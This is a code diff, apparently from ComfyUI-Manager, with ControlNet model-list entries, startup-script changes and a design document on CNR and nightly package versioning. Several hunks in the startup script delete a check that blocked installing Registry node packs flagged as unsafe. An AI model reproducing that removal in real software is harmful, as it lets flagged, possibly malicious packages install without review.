"type": "controlnet",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "controlnet/qwen-image/instantx",
|
||||
"description": "Qwen-Image InstantX ControlNet Union model",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets",
|
||||
"filename": "Qwen-Image-InstantX-ControlNet-Union.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets/resolve/main/split_files/controlnet/Qwen-Image-InstantX-ControlNet-Union.safetensors",
|
||||
"size": "2.54GB"
|
||||
},
|
||||
{
|
||||
"name": "Qwen-Image InstantX ControlNet Inpainting",
|
||||
"type": "controlnet",
|
||||
"base": "Qwen-Image",
|
||||
"save_path": "controlnet/qwen-image/instantx",
|
||||
"description": "Qwen-Image InstantX ControlNet Inpainting model",
|
||||
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets",
|
||||
"filename": "Qwen-Image-InstantX-ControlNet-Inpainting.safetensors",
|
||||
"url": "https://huggingface.co/Comfy-Org/Qwen-Image-InstantX-ControlNets/resolve/main/split_files/controlnet/Qwen-Image-InstantX-ControlNet-Inpainting.safetensors",
|
||||
"size": "2.54GB"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,11 +16,25 @@ from .common import security_check
|
||||
from .common import manager_util
|
||||
from .common import cm_global
|
||||
from .common import manager_downloader
|
||||
from .common.timestamp_utils import current_timestamp
|
||||
import folder_paths
|
||||
|
||||
manager_util.add_python_path_to_env()
|
||||
|
||||
import datetime as dt
|
||||
|
||||
if hasattr(dt, 'datetime'):
|
||||
from datetime import datetime as dt_datetime
|
||||
|
||||
def current_timestamp():
|
||||
return dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
|
||||
else:
|
||||
# NOTE: Occurs in some Mac environments.
|
||||
import time
|
||||
logging.error(f"[ComfyUI-Manager] fallback timestamp mode\n datetime module is invalid: '{dt.__file__}'")
|
||||
|
||||
def current_timestamp():
|
||||
return str(time.time()).split('.')[0]
|
||||
|
||||
|
||||
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'}
|
||||
cm_global.pip_downgrade_blacklist = ['torch', 'torchaudio', 'torchsde', 'torchvision', 'transformers', 'safetensors', 'kornia']
|
||||
@@ -66,7 +80,7 @@ cm_global.register_api('cm.is_import_failed_extension', is_import_failed_extensi
|
||||
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
|
||||
|
||||
custom_nodes_base_path = folder_paths.get_folder_paths('custom_nodes')[0]
|
||||
manager_files_path = folder_paths.get_system_user_directory("manager")
|
||||
manager_files_path = os.path.abspath(os.path.join(folder_paths.get_user_directory(), 'default', 'ComfyUI-Manager'))
|
||||
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
|
||||
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
|
||||
restore_snapshot_path = os.path.join(manager_files_path, "startup-scripts", "restore-snapshot.json")
|
||||
@@ -88,11 +102,6 @@ def read_uv_mode():
|
||||
if 'use_uv' in default_conf:
|
||||
manager_util.use_uv = default_conf['use_uv'].lower() == 'true'
|
||||
|
||||
|
||||
def read_unified_resolver_mode():
|
||||
if 'use_unified_resolver' in default_conf:
|
||||
manager_util.use_unified_resolver = default_conf['use_unified_resolver'].lower() == 'true'
|
||||
|
||||
def check_file_logging():
|
||||
global enable_file_logging
|
||||
if 'file_logging' in default_conf and default_conf['file_logging'].lower() == 'false':
|
||||
@@ -101,14 +110,9 @@ def check_file_logging():
|
||||
|
||||
read_config()
|
||||
read_uv_mode()
|
||||
read_unified_resolver_mode()
|
||||
security_check.security_check()
|
||||
check_file_logging()
|
||||
|
||||
# Module-level flag set by startup batch resolver when it succeeds.
|
||||
# Used by execute_lazy_install_script() to skip per-node pip installs.
|
||||
_unified_resolver_succeeded = False
|
||||
|
||||
cm_global.pip_overrides = {}
|
||||
|
||||
if os.path.exists(manager_pip_overrides_path):
|
||||
@@ -350,13 +354,10 @@ try:
|
||||
pass
|
||||
|
||||
with std_log_lock:
|
||||
try:
|
||||
if self.is_stdout:
|
||||
original_stdout.flush()
|
||||
else:
|
||||
original_stderr.flush()
|
||||
except (OSError, ValueError):
|
||||
pass
|
||||
if self.is_stdout:
|
||||
original_stdout.flush()
|
||||
else:
|
||||
original_stderr.flush()
|
||||
|
||||
def close(self):
|
||||
self.flush()
|
||||
@@ -482,7 +483,7 @@ check_bypass_ssl()
|
||||
|
||||
# Perform install
|
||||
processed_install = set()
|
||||
script_list_path = os.path.join(manager_files_path, "startup-scripts", "install-scripts.txt")
|
||||
script_list_path = os.path.join(folder_paths.user_directory, "default", "ComfyUI-Manager", "startup-scripts", "install-scripts.txt")
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
|
||||
|
||||
|
||||
@@ -570,14 +571,7 @@ if os.path.exists(restore_snapshot_path):
|
||||
if 'COMFYUI_PATH' not in new_env:
|
||||
new_env['COMFYUI_PATH'] = os.path.dirname(folder_paths.__file__)
|
||||
|
||||
from comfy.cli_args import args
|
||||
from .common import manager_security
|
||||
|
||||
allow_flagged = default_conf.get('allow_flagged_nodepack_install', '').lower() == 'true'
|
||||
new_env['_COMFYUI_MANAGER_CNR_ALLOW_FLAGGED'] = str(
|
||||
allow_flagged or manager_security.is_loopback_listener(args.listen)
|
||||
).lower()
|
||||
cmd_str = [sys.executable, '-m', 'cm_cli', 'restore-snapshot', restore_snapshot_path]
|
||||
cmd_str = [sys.executable, '-m', 'comfyui_manager.cm_cli', 'restore-snapshot', restore_snapshot_path]
|
||||
exit_code = process_wrap(cmd_str, custom_nodes_base_path, handler=msg_capture, env=new_env)
|
||||
|
||||
if exit_code != 0:
|
||||
@@ -598,8 +592,7 @@ def execute_lazy_install_script(repo_path, executable):
|
||||
install_script_path = os.path.join(repo_path, "install.py")
|
||||
requirements_path = os.path.join(repo_path, "requirements.txt")
|
||||
|
||||
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
|
||||
# Per-node pip install: only runs if unified resolver is disabled or failed
|
||||
if os.path.exists(requirements_path):
|
||||
print(f"Install: pip packages for '{repo_path}'")
|
||||
|
||||
lines = manager_util.robust_readlines(requirements_path)
|
||||
@@ -626,19 +619,9 @@ def execute_lazy_install_script(repo_path, executable):
|
||||
process_wrap(install_cmd, repo_path, env=new_env)
|
||||
|
||||
|
||||
def execute_lazy_cnr_switch(target, zip_url, from_path, to_path, no_deps, custom_nodes_path, status=''):
|
||||
def execute_lazy_cnr_switch(target, zip_url, from_path, to_path, no_deps, custom_nodes_path):
|
||||
import uuid
|
||||
import shutil
|
||||
from comfy.cli_args import args
|
||||
from .common.manager_security import FLAGGED_NODEPACK_INSTALL_GUIDANCE, is_cnr_install_allowed
|
||||
|
||||
allow_flagged = default_conf.get('allow_flagged_nodepack_install', '').lower() == 'true'
|
||||
if not is_cnr_install_allowed(status or 'NodeVersionStatusFlagged', allow_flagged, args.listen):
|
||||
if not status:
|
||||
logging.error("Cannot execute reserved CNR switch for '%s': stored Registry status is missing. Request the installation again so its current status can be checked.", target)
|
||||
else:
|
||||
logging.error(FLAGGED_NODEPACK_INSTALL_GUIDANCE)
|
||||
return False
|
||||
|
||||
# 1. download
|
||||
archive_name = f"CNR_temp_{str(uuid.uuid4())}.zip" # should be unpredictable name - security precaution
|
||||
@@ -686,8 +669,6 @@ def execute_lazy_cnr_switch(target, zip_url, from_path, to_path, no_deps, custom
|
||||
with open(tracking_info_file, "w", encoding='utf-8') as file:
|
||||
file.write('\n'.join(list(extracted)))
|
||||
|
||||
return True
|
||||
|
||||
|
||||
script_executed = False
|
||||
|
||||
@@ -743,9 +724,8 @@ def execute_startup_script():
|
||||
execute_lazy_install_script(script[0], script[2])
|
||||
|
||||
elif script[1] == "#LAZY-CNR-SWITCH-SCRIPT":
|
||||
status = script[8] if len(script) > 8 else ''
|
||||
if execute_lazy_cnr_switch(script[0], script[2], script[3], script[4], script[5], script[6], status):
|
||||
execute_lazy_install_script(script[3], script[7])
|
||||
execute_lazy_cnr_switch(script[0], script[2], script[3], script[4], script[5], script[6])
|
||||
execute_lazy_install_script(script[3], script[7])
|
||||
|
||||
elif script[1] == "#LAZY-DELETE-NODEPACK":
|
||||
execute_lazy_delete(script[2])
|
||||
@@ -782,38 +762,6 @@ def execute_startup_script():
|
||||
print("#######################################################################\n")
|
||||
|
||||
|
||||
# --- Unified dependency resolver: batch resolution at startup ---
|
||||
# Runs unconditionally when enabled, independent of install-scripts.txt existence.
|
||||
if manager_util.use_unified_resolver:
|
||||
try:
|
||||
from .common.unified_dep_resolver import (
|
||||
UnifiedDepResolver,
|
||||
UvNotAvailableError,
|
||||
collect_base_requirements,
|
||||
collect_node_pack_paths,
|
||||
)
|
||||
|
||||
_resolver = UnifiedDepResolver(
|
||||
node_pack_paths=collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes')),
|
||||
base_requirements=collect_base_requirements(comfy_path),
|
||||
blacklist=set(),
|
||||
overrides={},
|
||||
downgrade_blacklist=[],
|
||||
)
|
||||
_result = _resolver.resolve_and_install()
|
||||
if _result.success:
|
||||
_unified_resolver_succeeded = True
|
||||
logging.info("[UnifiedDepResolver] startup batch resolution succeeded")
|
||||
else:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] startup batch failed: %s, falling back to per-node pip", _result.error)
|
||||
except UvNotAvailableError:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] uv not available at startup, falling back to per-node pip")
|
||||
except Exception as e:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] startup error: %s, falling back to per-node pip", e)
|
||||
|
||||
# Check if script_list_path exists
|
||||
if os.path.exists(script_list_path):
|
||||
execute_startup_script()
|
||||
|
||||
@@ -0,0 +1,496 @@
|
||||
# Package Version Management Design
|
||||
|
||||
## Overview
|
||||
|
||||
ComfyUI Manager supports two package version types, each with distinct installation methods and version switching mechanisms:
|
||||
|
||||
1. **CNR Version (Archive)**: Production-ready releases with semantic versioning (e.g., v1.0.2), published to CNR server, verified, and distributed as ZIP archives
|
||||
2. **Nightly Version**: Real-time development builds from Git repository without semantic versioning, providing direct access to latest code via git pull
|
||||
|
||||
## Package ID Normalization
|
||||
|
||||
### Case Sensitivity Handling
|
||||
|
||||
**Source of Truth**: Package IDs originate from `pyproject.toml` with their original case (e.g., `ComfyUI_SigmoidOffsetScheduler`)
|
||||
|
||||
**Normalization Process**:
|
||||
1. `cnr_utils.normalize_package_name()` provides centralized normalization (`cnr_utils.py:28-48`):
|
||||
```python
|
||||
def normalize_package_name(name: str) -> str:
|
||||
"""
|
||||
Normalize package name for case-insensitive matching.
|
||||
- Strip leading/trailing whitespace
|
||||
- Convert to lowercase
|
||||
"""
|
||||
return name.strip().lower()
|
||||
```
|
||||
2. `cnr_utils.read_cnr_info()` uses this normalization when indexing (`cnr_utils.py:314`):
|
||||
```python
|
||||
name = project.get('name').strip().lower()
|
||||
```
|
||||
3. Package indexed in `installed_node_packages` with lowercase ID: `'comfyui_sigmoidoffsetscheduler'`
|
||||
4. **Critical**: All lookups (`is_enabled()`, `unified_disable()`) must use `cnr_utils.normalize_package_name()` for matching
|
||||
|
||||
**Implementation** (`manager_core.py:1374, 1389`):
|
||||
```python
|
||||
# Before checking if package is enabled or disabling
|
||||
packname_normalized = cnr_utils.normalize_package_name(packname)
|
||||
if self.is_enabled(packname_normalized):
|
||||
self.unified_disable(packname_normalized)
|
||||
```
|
||||
|
||||
## Package Identification
|
||||
|
||||
### How Packages Are Identified
|
||||
|
||||
**Critical**: Packages MUST be identified by marker files and metadata, NOT by directory names.
|
||||
|
||||
**Identification Flow** (`manager_core.py:691-703`, `node_package.py:49-81`):
|
||||
|
||||
```python
|
||||
def resolve_from_path(fullpath):
|
||||
"""
|
||||
Identify package type and ID using markers and metadata files.
|
||||
|
||||
Priority:
|
||||
1. Check for .git directory (Nightly)
|
||||
2. Check for .tracking + pyproject.toml (CNR)
|
||||
3. Unknown/legacy (fallback to directory name)
|
||||
"""
|
||||
# 1. Nightly Detection
|
||||
url = git_utils.git_url(fullpath) # Checks for .git/config
|
||||
if url:
|
||||
url = git_utils.compact_url(url)
|
||||
commit_hash = git_utils.get_commit_hash(fullpath)
|
||||
return {'id': url, 'ver': 'nightly', 'hash': commit_hash}
|
||||
|
||||
# 2. CNR Detection
|
||||
info = cnr_utils.read_cnr_info(fullpath) # Checks for .tracking + pyproject.toml
|
||||
if info:
|
||||
return {'id': info['id'], 'ver': info['version']}
|
||||
|
||||
# 3. Unknown (fallback)
|
||||
return None
|
||||
```
|
||||
|
||||
### Marker-Based Identification
|
||||
|
||||
**1. Nightly Packages**:
|
||||
- **Marker**: `.git` directory presence
|
||||
- **ID Extraction**: Read URL from `.git/config` using `git_utils.git_url()` (`git_utils.py:34-53`)
|
||||
- **ID Format**: Compact URL (e.g., `https://github.com/owner/repo` → compact form)
|
||||
- **Why**: Git repositories are uniquely identified by their remote URL
|
||||
|
||||
**2. CNR Packages**:
|
||||
- **Markers**: `.tracking` file AND `pyproject.toml` file (`.git` must NOT exist)
|
||||
- **ID Extraction**: Read `name` from `pyproject.toml` using `cnr_utils.read_cnr_info()` (`cnr_utils.py:302-334`)
|
||||
- **ID Format**: Normalized lowercase from `pyproject.toml` (e.g., `ComfyUI_Foo` → `comfyui_foo`)
|
||||
- **Why**: CNR packages are identified by their canonical name in package metadata
|
||||
|
||||
**Implementation** (`cnr_utils.py:302-334`):
|
||||
```python
|
||||
def read_cnr_info(fullpath):
|
||||
toml_path = os.path.join(fullpath, 'pyproject.toml')
|
||||
tracking_path = os.path.join(fullpath, '.tracking')
|
||||
|
||||
# MUST have both markers and NO .git directory
|
||||
if not os.path.exists(toml_path) or not os.path.exists(tracking_path):
|
||||
return None # not valid CNR node pack
|
||||
|
||||
with open(toml_path, "r", encoding="utf-8") as f:
|
||||
data = toml.load(f)
|
||||
project = data.get('project', {})
|
||||
name = project.get('name').strip().lower() # ← Normalized for indexing
|
||||
original_name = project.get('name') # ← Original case preserved
|
||||
version = str(manager_util.StrictVersion(project.get('version')))
|
||||
|
||||
return {
|
||||
"id": name, # Normalized ID for lookups
|
||||
"original_name": original_name,
|
||||
"version": version,
|
||||
"url": repository
|
||||
}
|
||||
```
|
||||
|
||||
### Why NOT Directory Names?
|
||||
|
||||
**Problem with directory-based identification**:
|
||||
1. **Case Sensitivity Issues**: Same package can have different directory names
|
||||
- Active: `ComfyUI_Foo` (original case)
|
||||
- Disabled: `comfyui_foo@1_0_2` (lowercase)
|
||||
2. **Version Suffix Confusion**: Disabled directories include version in name
|
||||
3. **User Modifications**: Users can rename directories, breaking identification
|
||||
|
||||
**Correct Approach**:
|
||||
- **Source of Truth**: Marker files (`.git`, `.tracking`, `pyproject.toml`)
|
||||
- **Consistent IDs**: Based on metadata content, not filesystem names
|
||||
- **Case Insensitive**: Normalized lookups work regardless of directory name
|
||||
|
||||
### Package Lookup Flow
|
||||
|
||||
**Index Building** (`manager_core.py:444-478`):
|
||||
```python
|
||||
def reload(self):
|
||||
self.installed_node_packages: dict[str, list[InstalledNodePackage]] = defaultdict(list)
|
||||
|
||||
# Scan active packages
|
||||
for x in os.listdir(custom_nodes_path):
|
||||
fullpath = os.path.join(custom_nodes_path, x)
|
||||
if x not in ['__pycache__', '.disabled']:
|
||||
node_package = InstalledNodePackage.from_fullpath(fullpath, self.resolve_from_path)
|
||||
# ↓ Uses ID from resolve_from_path(), NOT directory name
|
||||
self.installed_node_packages[node_package.id].append(node_package)
|
||||
|
||||
# Scan disabled packages
|
||||
for x in os.listdir(disabled_dir):
|
||||
fullpath = os.path.join(disabled_dir, x)
|
||||
node_package = InstalledNodePackage.from_fullpath(fullpath, self.resolve_from_path)
|
||||
# ↓ Same ID extraction, consistent indexing
|
||||
self.installed_node_packages[node_package.id].append(node_package)
|
||||
```
|
||||
|
||||
**Lookup Process**:
|
||||
1. Normalize search term: `cnr_utils.normalize_package_name(packname)`
|
||||
2. Look up in `installed_node_packages` dict by normalized ID
|
||||
3. Match found packages by version if needed
|
||||
4. Return `InstalledNodePackage` objects with full metadata
|
||||
|
||||
### Edge Cases
|
||||
|
||||
**1. Package with `.git` AND `.tracking`**:
|
||||
- **Detection**: Treated as Nightly (`.git` checked first)
|
||||
- **Reason**: Git repo takes precedence over archive markers
|
||||
- **Fix**: Remove `.tracking` file to avoid confusion
|
||||
|
||||
**2. Missing Marker Files**:
|
||||
- **CNR without `.tracking`**: Treated as Unknown
|
||||
- **Nightly without `.git`**: Treated as Unknown or CNR (if has `.tracking`)
|
||||
- **Recovery**: Re-install package to restore correct markers
|
||||
|
||||
**3. Corrupted `pyproject.toml`**:
|
||||
- **Detection**: `read_cnr_info()` returns `None`
|
||||
- **Result**: Package treated as Unknown
|
||||
- **Recovery**: Manual fix or re-install
|
||||
|
||||
## Version Types
|
||||
|
||||
ComfyUI Manager supports two main package version types:
|
||||
|
||||
### 1. CNR Version (Comfy Node Registry - Versioned Releases)
|
||||
|
||||
**Also known as**: Archive version (because it's distributed as ZIP archive)
|
||||
|
||||
**Purpose**: Production-ready releases that have been versioned, published to CNR server, and verified before distribution
|
||||
|
||||
**Characteristics**:
|
||||
- Semantic versioning assigned (e.g., v1.0.2, v2.1.0)
|
||||
- Published to CNR server with verification process
|
||||
- Stable, tested releases for production use
|
||||
- Distributed as ZIP archives for reliability
|
||||
|
||||
**Installation Method**: ZIP file extraction from CNR (Comfy Node Registry)
|
||||
|
||||
**Identification**:
|
||||
- Presence of `.tracking` file in package directory
|
||||
- **Directory naming**:
|
||||
- **Active** (`custom_nodes/`): Uses `name` from `pyproject.toml` with original case (e.g., `ComfyUI_SigmoidOffsetScheduler`)
|
||||
- This is the `original_name` in glob/ implementation
|
||||
- **Disabled** (`.disabled/`): Uses `{package_name}@{version}` format (e.g., `comfyui_sigmoidoffsetscheduler@1_0_2`)
|
||||
- Package indexed with lowercase ID from `pyproject.toml`
|
||||
- Versioned releases (e.g., v1.0.2, v2.1.0)
|
||||
|
||||
**`.tracking` File Purpose**:
|
||||
- **Primary**: Marker to identify this as a CNR/archive installation
|
||||
- **Critical**: Contains list of original files from the archive
|
||||
- **Update Use Case**: When updating to a new version:
|
||||
1. Read `.tracking` to identify original archive files
|
||||
2. Delete ONLY original archive files
|
||||
3. Preserve user-generated files (configs, models, custom code)
|
||||
4. Extract new archive version
|
||||
5. Update `.tracking` with new file list
|
||||
|
||||
**File Structure**:
|
||||
```
|
||||
custom_nodes/
|
||||
ComfyUI_SigmoidOffsetScheduler/
|
||||
.tracking # List of original archive files
|
||||
pyproject.toml # name = "ComfyUI_SigmoidOffsetScheduler"
|
||||
__init__.py
|
||||
nodes.py
|
||||
(user-created files preserved during update)
|
||||
```
|
||||
|
||||
### 2. Nightly Version (Development Builds)
|
||||
|
||||
**Purpose**: Real-time development builds from Git repository without semantic versioning
|
||||
|
||||
**Characteristics**:
|
||||
- No semantic version assigned (version = "nightly")
|
||||
- Direct access to latest development code
|
||||
- Real-time updates via git pull
|
||||
- For testing, development, and early adoption
|
||||
- Not verified through CNR publication process
|
||||
|
||||
**Installation Method**: Git repository clone
|
||||
|
||||
**Identification**:
|
||||
- Presence of `.git` directory in package directory
|
||||
- `version: "nightly"` in package metadata
|
||||
- **Directory naming**:
|
||||
- **Active** (`custom_nodes/`): Uses `name` from `pyproject.toml` with original case (e.g., `ComfyUI_SigmoidOffsetScheduler`)
|
||||
- This is the `original_name` in glob/ implementation
|
||||
- **Disabled** (`.disabled/`): Uses `{package_name}@nightly` format (e.g., `comfyui_sigmoidoffsetscheduler@nightly`)
|
||||
|
||||
**Update Mechanism**:
|
||||
- `git pull` on existing repository
|
||||
- All user modifications in git working tree preserved by git
|
||||
|
||||
**File Structure**:
|
||||
```
|
||||
custom_nodes/
|
||||
ComfyUI_SigmoidOffsetScheduler/
|
||||
.git/ # Git repository marker
|
||||
pyproject.toml
|
||||
__init__.py
|
||||
nodes.py
|
||||
(git tracks all changes)
|
||||
```
|
||||
|
||||
## Version Switching Mechanisms
|
||||
|
||||
### CNR ↔ Nightly (Uses `.disabled/` Directory)
|
||||
|
||||
**Mechanism**: Enable/disable toggling - only ONE version active at a time
|
||||
|
||||
**Process**:
|
||||
1. **CNR → Nightly**:
|
||||
```
|
||||
Before: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (has .tracking)
|
||||
After: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (has .git)
|
||||
.disabled/comfyui_sigmoidoffsetscheduler@1_0_2/ (has .tracking)
|
||||
```
|
||||
- Move archive directory to `.disabled/comfyui_sigmoidoffsetscheduler@{version}/`
|
||||
- Git clone nightly to `custom_nodes/ComfyUI_SigmoidOffsetScheduler/`
|
||||
|
||||
2. **Nightly → CNR**:
|
||||
```
|
||||
Before: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (has .git)
|
||||
.disabled/comfyui_sigmoidoffsetscheduler@1_0_2/ (has .tracking)
|
||||
After: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (has .tracking)
|
||||
.disabled/comfyui_sigmoidoffsetscheduler@nightly/ (has .git)
|
||||
```
|
||||
- Move nightly directory to `.disabled/comfyui_sigmoidoffsetscheduler@nightly/`
|
||||
- Restore archive from `.disabled/comfyui_sigmoidoffsetscheduler@{version}/`
|
||||
|
||||
**Key Points**:
|
||||
- Both versions preserved in filesystem (one in `.disabled/`)
|
||||
- Switching is fast (just move operations)
|
||||
- No re-download needed when switching back
|
||||
|
||||
### CNR Version Update (In-Place Update)
|
||||
|
||||
**Mechanism**: Direct directory content update - NO `.disabled/` directory used
|
||||
|
||||
**When**: Switching between different CNR versions (e.g., v1.0.1 → v1.0.2)
|
||||
|
||||
**Process**:
|
||||
```
|
||||
Before: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (v1.0.1, has .tracking)
|
||||
After: custom_nodes/ComfyUI_SigmoidOffsetScheduler/ (v1.0.2, has .tracking)
|
||||
```
|
||||
|
||||
**Steps**:
|
||||
1. Read `.tracking` to identify original v1.0.1 files
|
||||
2. Delete only original v1.0.1 files (preserve user-created files)
|
||||
3. Extract v1.0.2 archive to same directory
|
||||
4. Update `.tracking` with v1.0.2 file list
|
||||
5. Update `pyproject.toml` version metadata
|
||||
|
||||
**Critical**: Directory name and location remain unchanged
|
||||
|
||||
## API Design Decisions
|
||||
|
||||
### Enable/Disable Operations
|
||||
|
||||
**Design Decision**: ❌ **NO DIRECT ENABLE/DISABLE API PROVIDED**
|
||||
|
||||
**Rationale**:
|
||||
- Enable/disable operations occur **ONLY as a by-product** of version switching
|
||||
- Version switching is the primary operation that manages package state
|
||||
- Direct enable/disable API would:
|
||||
1. Create ambiguity about which version to enable/disable
|
||||
2. Bypass version management logic
|
||||
3. Lead to inconsistent package state
|
||||
|
||||
**Implementation**:
|
||||
- `unified_enable()` and `unified_disable()` are **internal methods only**
|
||||
- Called exclusively from version switching operations:
|
||||
- `install_by_id()` (manager_core.py:1695-1724)
|
||||
- `cnr_switch_version_instant()` (manager_core.py:941)
|
||||
- `repo_update()` (manager_core.py:2144-2232)
|
||||
|
||||
**User Workflow**:
|
||||
```
|
||||
User wants to disable CNR version and enable Nightly:
|
||||
✅ Correct: install(package, version="nightly")
|
||||
→ automatically disables CNR, enables Nightly
|
||||
❌ Wrong: disable(package) + enable(package, "nightly")
|
||||
→ not supported, ambiguous
|
||||
```
|
||||
|
||||
**Testing Approach**:
|
||||
- Enable/disable tested **indirectly** through version switching tests
|
||||
- Test 1-12 validate enable/disable behavior via install/update operations
|
||||
- No direct enable/disable API tests needed (API doesn't exist)
|
||||
|
||||
## Implementation Details
|
||||
|
||||
### Version Detection Logic
|
||||
|
||||
**Location**: `comfyui_manager/common/node_package.py`
|
||||
|
||||
```python
|
||||
@dataclass
|
||||
class InstalledNodePackage:
|
||||
@property
|
||||
def is_nightly(self) -> bool:
|
||||
return self.version == "nightly"
|
||||
|
||||
@property
|
||||
def is_from_cnr(self) -> bool:
|
||||
return not self.is_unknown and not self.is_nightly
|
||||
```
|
||||
|
||||
**Detection Order**:
|
||||
1. Check for `.tracking` file → CNR (Archive) version
|
||||
2. Check for `.git` directory → Nightly version
|
||||
3. Otherwise → Unknown/legacy
|
||||
|
||||
### Reload Timing
|
||||
|
||||
**Critical**: `unified_manager.reload()` must be called:
|
||||
1. **Before each queued task** (`manager_server.py:1245`):
|
||||
```python
|
||||
# Reload installed packages before each task to ensure latest state
|
||||
core.unified_manager.reload()
|
||||
```
|
||||
2. **Before version switching** (`manager_core.py:1370`):
|
||||
```python
|
||||
# Reload to ensure we have the latest package state before checking
|
||||
self.reload()
|
||||
```
|
||||
|
||||
**Why**: Ensures `installed_node_packages` dict reflects actual filesystem state
|
||||
|
||||
### Disable Mechanism
|
||||
|
||||
**Implementation** (`manager_core.py:982-1017`, specifically line 1011):
|
||||
```python
|
||||
def unified_disable(self, packname: str):
|
||||
# ... validation logic ...
|
||||
|
||||
# Generate disabled directory name with version suffix
|
||||
base_path = extract_base_custom_nodes_dir(matched_active.fullpath)
|
||||
folder_name = packname if not self.is_url_like(packname) else os.path.basename(matched_active.fullpath)
|
||||
to_path = os.path.join(base_path, '.disabled', f"{folder_name}@{matched_active.version.replace('.', '_')}")
|
||||
|
||||
shutil.move(matched_active.fullpath, to_path)
|
||||
```
|
||||
|
||||
**Naming Convention**:
|
||||
- `{folder_name}@{version}` format for ALL version types
|
||||
- CNR v1.0.2 → `comfyui_foo@1_0_2` (dots replaced with underscores)
|
||||
- Nightly → `comfyui_foo@nightly`
|
||||
|
||||
### Case Sensitivity Fix
|
||||
|
||||
**Problem**: Package IDs normalized to lowercase during indexing but not during lookup
|
||||
|
||||
**Solution** (`manager_core.py:1372-1378, 1388-1393`):
|
||||
```python
|
||||
# Normalize packname using centralized cnr_utils function
|
||||
# CNR packages are indexed with lowercase IDs from pyproject.toml
|
||||
packname_normalized = cnr_utils.normalize_package_name(packname)
|
||||
|
||||
if self.is_enabled(packname_normalized):
|
||||
self.unified_disable(packname_normalized)
|
||||
```
|
||||
|
||||
**Why Centralized Function**:
|
||||
- Consistent normalization across entire codebase
|
||||
- Single source of truth for package name normalization logic
|
||||
- Easier to maintain and test
|
||||
- Located in `cnr_utils.py:28-48`
|
||||
|
||||
## Directory Structure Examples
|
||||
|
||||
### Complete Example: All Version Types Coexisting
|
||||
|
||||
```
|
||||
custom_nodes/
|
||||
ComfyUI_SigmoidOffsetScheduler/ # Active version (CNR v2.0.0 in this example)
|
||||
pyproject.toml # name = "ComfyUI_SigmoidOffsetScheduler"
|
||||
__init__.py
|
||||
nodes.py
|
||||
|
||||
.disabled/ # Inactive versions storage
|
||||
comfyui_sigmoidoffsetscheduler@nightly/ # ← Nightly (disabled)
|
||||
.git/ # ← Nightly marker
|
||||
pyproject.toml
|
||||
__init__.py
|
||||
nodes.py
|
||||
|
||||
comfyui_sigmoidoffsetscheduler@1_0_2/ # ← CNR v1.0.2 (disabled)
|
||||
.tracking # ← CNR marker with file list
|
||||
pyproject.toml
|
||||
__init__.py
|
||||
nodes.py
|
||||
|
||||
comfyui_sigmoidoffsetscheduler@1_0_1/ # ← CNR v1.0.1 (disabled)
|
||||
.tracking
|
||||
pyproject.toml
|
||||
__init__.py
|
||||
nodes.py
|
||||
```
|
||||
|
||||
**Key Points**:
|
||||
- Active directory ALWAYS uses `original_name` without version suffix
|
||||
- Each disabled version has `@{version}` suffix to avoid conflicts
|
||||
- Multiple disabled versions can coexist (nightly + multiple CNR versions)
|
||||
|
||||
## Summary Table
|
||||
|
||||
| Version Type | Purpose | Marker | Active Directory Name | Disabled Directory Name | Update Method | Switch Mechanism |
|
||||
|--------------|---------|--------|----------------------|------------------------|---------------|------------------|
|
||||
| **CNR** (Archive) | Production-ready releases with semantic versioning, published to CNR server and verified | `.tracking` file | `original_name` (e.g., `ComfyUI_Foo`) | `{package}@{version}` (e.g., `comfyui_foo@1_0_2`) | In-place update (preserve user files) | `.disabled/` toggle |
|
||||
| **Nightly** | Real-time development builds from Git repository without semantic versioning | `.git/` directory | `original_name` (e.g., `ComfyUI_Foo`) | `{package}@nightly` (e.g., `comfyui_foo@nightly`) | `git pull` | `.disabled/` toggle |
|
||||
|
||||
**Important Constraints**:
|
||||
- **Active directory name**: MUST use `original_name` (from `pyproject.toml`) without version suffix
|
||||
- Other code may depend on this specific directory name
|
||||
- Only ONE version can be active at a time
|
||||
- **Disabled directory name**: MUST include `@{version}` suffix to allow multiple disabled versions to coexist
|
||||
- CNR: `@{version}` (e.g., `@1_0_2`)
|
||||
- Nightly: `@nightly`
|
||||
|
||||
## Edge Cases
|
||||
|
||||
### 1. Multiple CNR Versions
|
||||
- Each stored in `.disabled/` with version suffix
|
||||
- Only one can be active at a time
|
||||
- Switching between CNR versions = direct content update (not via `.disabled/`)
|
||||
|
||||
### 2. Package ID Case Variations
|
||||
- Always normalize to lowercase for internal lookups
|
||||
- Preserve original case in filesystem/display
|
||||
- Match against lowercase indexed keys
|
||||
|
||||
### 3. Corrupted `.tracking` File
|
||||
- Treat as unknown version type
|
||||
- Warn user before update/uninstall
|
||||
- May require manual cleanup
|
||||
|
||||
### 4. Mixed CNR + Nightly in `.disabled/`
|
||||
- Both can coexist in `.disabled/`
|
||||
- Only one can be active in `custom_nodes/`
|
||||
- Switch logic detects type and handles appropriately
|
||||
@@ -0,0 +1,235 @@
|
||||
# Security-Enhanced URL Installation System
|
||||
|
||||
## Overview
|
||||
|
||||
Security constraints have been added to the `install_by_url` function to control URL-based installations according to the system's security level.
